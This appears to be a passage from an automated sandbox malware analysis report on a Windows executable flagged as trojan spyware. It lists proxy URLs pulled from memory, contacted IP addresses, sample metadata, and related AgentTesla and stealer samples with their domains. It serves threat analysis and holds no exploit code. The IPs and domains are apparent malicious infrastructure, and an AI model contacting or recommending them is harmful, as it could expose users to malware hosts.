http://141.95.160.178:5870	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54C51000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.17.166.210:80	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54C51000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.24.77.9	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://169.57.157.146:8123	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.106.93:3128	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51267000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://47.91.65.23:3128	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB513D9000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51450000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://162.241.6.97:45629://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51293000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://104.16.109.143	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50DBD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://84.241.8.234:8080	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50B58000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://162.214.170.144:31701	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.231.72.187:1080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://125.107.149.245:5555	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50EBC000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50E67000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.135.83.214:80	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5305C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.174.87.18:999://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://50.231.110.26://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51293000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.106.22.125:8080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://31.7.65.18:443://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://193.30.13.18:999	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://208.109.14.49:50540	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://157.230.8.196:7497	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB508A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://35.207.123.94://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.49.31.207:8081://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://209.250.248.127:45534://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://45.234.100.102:1080	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5305C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://79.7.101.98:5678://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://45.190.78.50:999	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.172.42.121:8080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.227.186.13:8080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5345C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
212.110.188.202	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
38.127.179.10	unknown	United States	174	COGENT-174US	false
24.230.33.96	unknown	United States	11232	MIDCO-NETUS	false
43.128.107.251	unknown	Japan	4249	LILLY-ASUS	false
182.160.100.156	unknown	Bangladesh	24323	AAMRA-NETWORKS-AS-APaamranetworkslimitedBD	false
50.169.37.50	unknown	United States	7922	COMCAST-7922US	false
103.216.51.36	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	false
78.90.252.7	unknown	Bulgaria	20911	NETSURF-AS-BG	false
119.2.42.135	unknown	Indonesia	38524	LAXONET-AS-IDLaxoGlobalAksesPTID	false
51.15.139.15	unknown	France	12876	OnlineSASFR	false
181.78.11.217	unknown	Argentina	52468	UFINETPANAMASAPA	false
94.154.152.9	unknown	Albania	209842	CYBEXEREE	false
89.168.121.175	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
45.227.193.166	unknown	Brazil	28146	MHNETTELECOMBR	false
181.78.11.218	unknown	Argentina	52468	UFINETPANAMASAPA	false
139.224.64.191	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
85.237.62.189	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
94.154.152.4	unknown	Albania	209842	CYBEXEREE	false
103.81.196.128	unknown	Bangladesh	55492	DFN-BDDhakaFiberNetLimitedBD	false
13.234.24.116	unknown	United States	16509	AMAZON-02US	true
84.38.189.241	unknown	Russian Federation	49505	SELECTELRU	false
180.178.104.110	unknown	Indonesia	38758	HYPERNET-AS-IDPTHIPERNETINDODATAID	false
31.43.63.70	unknown	Ukraine	50581	UTGUA	false
181.117.128.38	unknown	Argentina	11664	TechtelLMDSComunicacionesInteractivasSAAR	false
103.74.229.133	unknown	Bangladesh	131340	TAQWAIT-AS-APMdMozammelHoquetaTaqwaITBD	false
52.35.240.119	unknown	United States	16509	AMAZON-02US	false
200.116.198.222	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
119.15.89.87	unknown	Cambodia	24492	IIT-WICAM-AS-APWiCAMCorporationLtdKH	false
46.173.175.121	unknown	Ukraine	49183	BEREZHANY-ASUA	false
62.39.117.234	unknown	France	15557	LDCOMNETFR	false
146.19.106.42	unknown	France	7726	FITC-ASUS	false
46.17.63.166	unknown	United Kingdom	39326	HSO-GROUPGB	false
114.129.2.82	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
62.171.131.101	unknown	United Kingdom	51167	CONTABODE	false
103.47.93.250	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
80.234.104.229	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
183.164.254.8	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
103.47.93.252	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
194.9.80.1	unknown	unknown	206495	IR-SADRA-20180529IR	false
212.110.188.222	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.245	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
54.223.158.88	unknown	China	55960	BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN	false
202.162.105.202	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	false
67.205.177.122	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
212.110.188.220	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
185.215.53.241	unknown	Armenia	205368	FNETAM	false
185.215.54.66	unknown	Armenia	205368	FNETAM	false
103.78.96.18	unknown	Indonesia	131111	CEPATNET-AS-IDPTMoraTelematikaIndonesiaID	false
38.253.88.242	unknown	United States	174	COGENT-174US	false
172.67.200.220	unknown	United States	13335	CLOUDFLARENETUS	false
13.59.156.167	unknown	United States	16509	AMAZON-02US	false
34.176.113.148	unknown	United States	2686	ATGS-MMD-ASUS	false
38.242.199.111	unknown	United States	36336	NATIXISUS	false
181.3.51.47	unknown	Argentina	7303	TelecomArgentinaSAAR	false
74.103.66.15	unknown	United States	701	UUNETUS	false
190.61.106.97	unknown	Colombia	52468	UFINETPANAMASAPA	false
175.101.15.41	unknown	India	17754	EXCELL-ASExcellmediaIN	false
212.110.188.216	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.243	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
103.47.93.242	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.211	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
212.83.137.94	unknown	France	12876	OnlineSASFR	false
212.110.188.213	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
51.210.5.69	unknown	France	16276	OVHFR	false
35.207.123.94	unknown	United States	19527	GOOGLE-2US	false
183.215.23.242	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
103.189.96.98	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
162.144.32.209	unknown	United States	46606	UNIFIEDLAYER-AS-1US	false
103.153.63.211	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
103.47.93.238	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
96.80.235.1	unknown	United States	7922	COMCAST-7922US	false
129.18.164.130	unknown	Nigeria	36923	SWIFTNG-ASNNG	false
209.240.50.56	unknown	United States	36515	ASN-ALLENSUS	false
144.126.217.189	unknown	United States	36413	LOYOLAUS	false
188.40.44.95	unknown	Germany	24940	HETZNER-ASDE	false
148.72.23.56	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
103.99.27.26	unknown	unknown	136920	GARDAMORLDA-AS-APGardamorLdaTL	false
103.253.127.202	unknown	unknown	133133	ROYHILL-AS-APRoyHillAU	false
188.163.170.130	unknown	Ukraine	15895	KSNET-ASUA	false
81.250.223.126	unknown	France	3215	FranceTelecom-OrangeFR	false
218.252.244.126	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
191.101.1.116	unknown	Chile	61317	ASDETUKhttpwwwheficedcomGB	false
94.131.14.66	unknown	Ukraine	29632	NASSIST-ASGI	true
103.47.93.231	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.207	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.225	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
103.47.93.227	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
103.1.105.10	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
118.173.230.19	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
51.15.139.59	unknown	France	12876	OnlineSASFR	false
104.17.9.114	unknown	United States	13335	CLOUDFLARENETUS	false
45.235.16.121	unknown	Brazil	267406	AGOBrasilInternetLtdaBR	false
138.0.228.120	unknown	Honduras	263725	MULTICABLEDEHONDURASHN	false
177.10.193.82	unknown	Brazil	262854	AFINETSOLUCOESEMTECNOLOGIADAINFORMACAOLTDABR	false
20.33.5.27	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
200.174.198.95	unknown	Brazil	4230	CLAROSABR	false
45.224.247.102	unknown	Brazil	266925	UPIXNETWORKSBR	false
183.88.122.200	unknown	Thailand	45758	TRIPLETNET-AS-APTripleTInternetTripleTBroadbandTH	false
45.190.78.50	unknown	unknown	269702	CAMPINETINTERNETVIARADIOEIRELIBR	false
103.47.93.221	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1406659
Start date and time:	2024-03-11 15:20:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Your file name without extension goes here.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/4@7/100
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 63 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.12.40.26, 23.12.40.18
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: Your file name without extension goes here.exe

Simulations

Behavior and APIs

Time	Type	Description
15:20:58	API Interceptor	97x Sleep call for process: Your file name without extension goes here.exe modified
15:21:16	API Interceptor	2x Sleep call for process: jsc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
212.110.188.202	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	artemis-rat.comartemis-rat.com:443
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Customer's Requirements and Pricing Details.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	HtfOQz42tN.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	3011574829.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	75C8OqdJUQ.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	Urgent Quotation required .exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	Quote 00123.pdf.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
38.127.179.10	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse
38.127.179.10	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse
24.230.33.96	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse
	DHL DETAILS.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	Vector Stealer	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	Unknown	Browse
	DHL shipment arrival.exe	Get hash	malicious	AgentTesla	Browse
	Document 9404658918890577081119475750-pdf.exe	Get hash	malicious	AgentTesla	Browse
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse
	Customer's Requirements and Pricing Details.exe	Get hash	malicious	AgentTesla	Browse
43.128.107.251	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	artemis-rat.comartemis-rat.com:443
	DHL DETAILS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	hesaphareketi-01.pdf.exe	Get hash	malicious	Vector Stealer	Browse	artemis-rat.comartemis-rat.com:443
	hesaphareketi-01.pdf.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	DHL shipment arrival.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Document 9404658918890577081119475750-pdf.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Customer's Requirements and Pricing Details.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	IOJMZilMeH.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	CF_24603060024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Cerere de cotatie.xla	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	kcHayiwhi.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	PO No- 24410083007.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	lawNqmseofybw.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Doc1-TelexRelease001.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	m91Id3LELg.exe	Get hash	malicious	Remcos, Chaos, PureLog Stealer, XWorm	Browse	208.95.112.1
	20240306 The new order about PO#PW225084YL.50L of 23AW1203A285 2ND SAMPLE ENR xls.exe	Get hash	malicious	GuLoader	Browse	208.95.112.1
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
heygirlisheeverythingyouwantedinaman.com	WeGonnaDOIT.exe	Get hash	malicious	Unknown	Browse	172.67.190.93
	WeGonnaDOIT.exe	Get hash	malicious	Unknown	Browse	104.21.57.121
	https://waltondev2.com/c.php	Get hash	malicious	Phisher	Browse	172.67.190.93
	TrkLU8M8Ai.exe	Get hash	malicious	Unknown	Browse	104.21.57.121
	5mTce7e08R.exe	Get hash	malicious	Unknown	Browse	104.21.57.121
	HtfOQz42tN.exe	Get hash	malicious	Unknown	Browse	104.21.57.121
	reimainternatio.exe	Get hash	malicious	FormBook	Browse	172.67.190.93
	75C8OqdJUQ.exe	Get hash	malicious	Unknown	Browse	104.21.57.121
	75C8OqdJUQ.exe	Get hash	malicious	Unknown	Browse	104.21.57.121
	Reiven RFQ-04032024.exe	Get hash	malicious	AgentTesla	Browse	172.67.190.93
ktxcomay.com.vn	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	222.255.238.159
	DHL DETAILS.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	hesaphareketi-01.pdf.exe	Get hash	malicious	Vector Stealer	Browse	222.255.238.159
	hesaphareketi-01.pdf.exe	Get hash	malicious	Unknown	Browse	222.255.238.159
	DHL shipment arrival.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	Document 9404658918890577081119475750-pdf.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	Customer's Requirements and Pricing Details.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
github.com	https://github.com/valinet/ExplorerPatcher/releases/download/22621.3007.63.4_91aaa82/ep_setup.exe	Get hash	malicious	Unknown	Browse	140.82.114.3
	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	https://github.com/valinet/ExplorerPatcher/releases/download/22621.3007.63.2_fb28688/ep_setup.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	https://github.com/valinet/ExplorerPatcher/releases/download/22621.2861.62.2_9b68cc0/ep_setup.exe	Get hash	malicious	Unknown	Browse	140.82.113.4
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse	140.82.112.4
	https://github.com/valinet/ExplorerPatcher/releases/latest/download/ep_setup.exe	Get hash	malicious	Unknown	Browse	140.82.113.3
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	140.82.112.4
	SecuriteInfo.com.Variant.Jaik.52393.17592.31202.exe	Get hash	malicious	Unknown	Browse	140.82.113.5
	DOC65346578090000.jar	Get hash	malicious	STRRAT	Browse	140.82.112.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BYTEMARK-ASGB	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	212.110.188.207
	DHL DETAILS.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	hesaphareketi-01.pdf.exe	Get hash	malicious	Vector Stealer	Browse	212.110.188.207
	hesaphareketi-01.pdf.exe	Get hash	malicious	Unknown	Browse	212.110.188.207
	DHL shipment arrival.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Document 9404658918890577081119475750-pdf.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Customer's Requirements and Pricing Details.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
MIDCO-NETUS	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	24.230.33.96
	TO9JIt5cu4.elf	Get hash	malicious	Unknown	Browse	140.186.233.242
	DHL DETAILS.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	V5dx1XzpND.elf	Get hash	malicious	Unknown	Browse	184.83.55.89
	hesaphareketi-01.pdf.exe	Get hash	malicious	Vector Stealer	Browse	24.230.33.96
	hesaphareketi-01.pdf.exe	Get hash	malicious	Unknown	Browse	24.230.33.96
	DHL shipment arrival.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	Document 9404658918890577081119475750-pdf.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
COGENT-174US	Moderatestes.exe	Get hash	malicious	FormBook, GuLoader	Browse	38.238.78.186
	cuenta para pago.exe	Get hash	malicious	FormBook, GuLoader	Browse	154.39.248.133
	https://sourceforge.net/projects/docfetcher/files/docfetcher/1.1.25/docfetcher_1.1.25_win32_setup.exe/download	Get hash	malicious	Unknown	Browse	143.244.208.184
	CtEeMS3H62.exe	Get hash	malicious	Amadey, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Stealc, Vidar	Browse	143.244.202.96
	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	38.253.88.242
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse	38.253.88.242
	zbUKFdShjr.exe	Get hash	malicious	Pony	Browse	38.60.117.186
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	38.253.88.242
	https://off1ced0c-2023.pages.dev/	Get hash	malicious	Unknown	Browse	143.244.50.179
	aHy7Z3LRSn.elf	Get hash	malicious	Mirai	Browse	38.89.2.62
LILLY-ASUS	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	43.128.107.251
	https://cdehythgf.com/	Get hash	malicious	Unknown	Browse	43.130.232.219
	vrcd941p2O.elf	Get hash	malicious	Mirai	Browse	43.42.221.224
	gvxgZvC1WO.elf	Get hash	malicious	Mirai	Browse	40.5.150.152
	vJSyCK4is2.elf	Get hash	malicious	Mirai	Browse	40.16.132.148
	R9vT5TBn2q.elf	Get hash	malicious	Unknown	Browse	40.18.5.173
	x9IUUeXyov.elf	Get hash	malicious	Mirai	Browse	40.198.30.102
	WGHFgjyKDE.elf	Get hash	malicious	Unknown	Browse	43.206.240.47

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Cotizaci#U00f3n-RFQ=(ID67352442q)________________________________xls.exe	Get hash	malicious	Unknown	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	Balance Payment.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	Cotizaci#U00f3n-RFQ=(ID67352442q)________________________________xls.exe	Get hash	malicious	Unknown	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	Draft Document 940465898900011174774000-PDF.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	Draft BL Copy & Shipping Documents.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	LPO_ORDER CONFIRMATION.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	Orden de Compra No 318 Ecopas srl.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	PO No- 24410083007.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	Refresh2.ps1	Get hash	malicious	Unknown	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	SecuriteInfo.com.Win32.PWSX-gen.19078.13674.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159

Process:	C:\Users\user\Desktop\Your file name without extension goes here.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69211 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69211
Entropy (8bit):	7.995787876711886
Encrypted:	true
SSDEEP:	1536:4vHkVfDISE//aDY0WAXTF+0daIpyFQaqPZkatNjgkFOE4/JZZWnEn6:4vHKfMSeKFXdBcmnXkksE40E6
MD5:	753DF6889FD7410A2E9FE333DA83A429
SHA1:	3C425F16E8267186061DD48AC1C77C122962456E
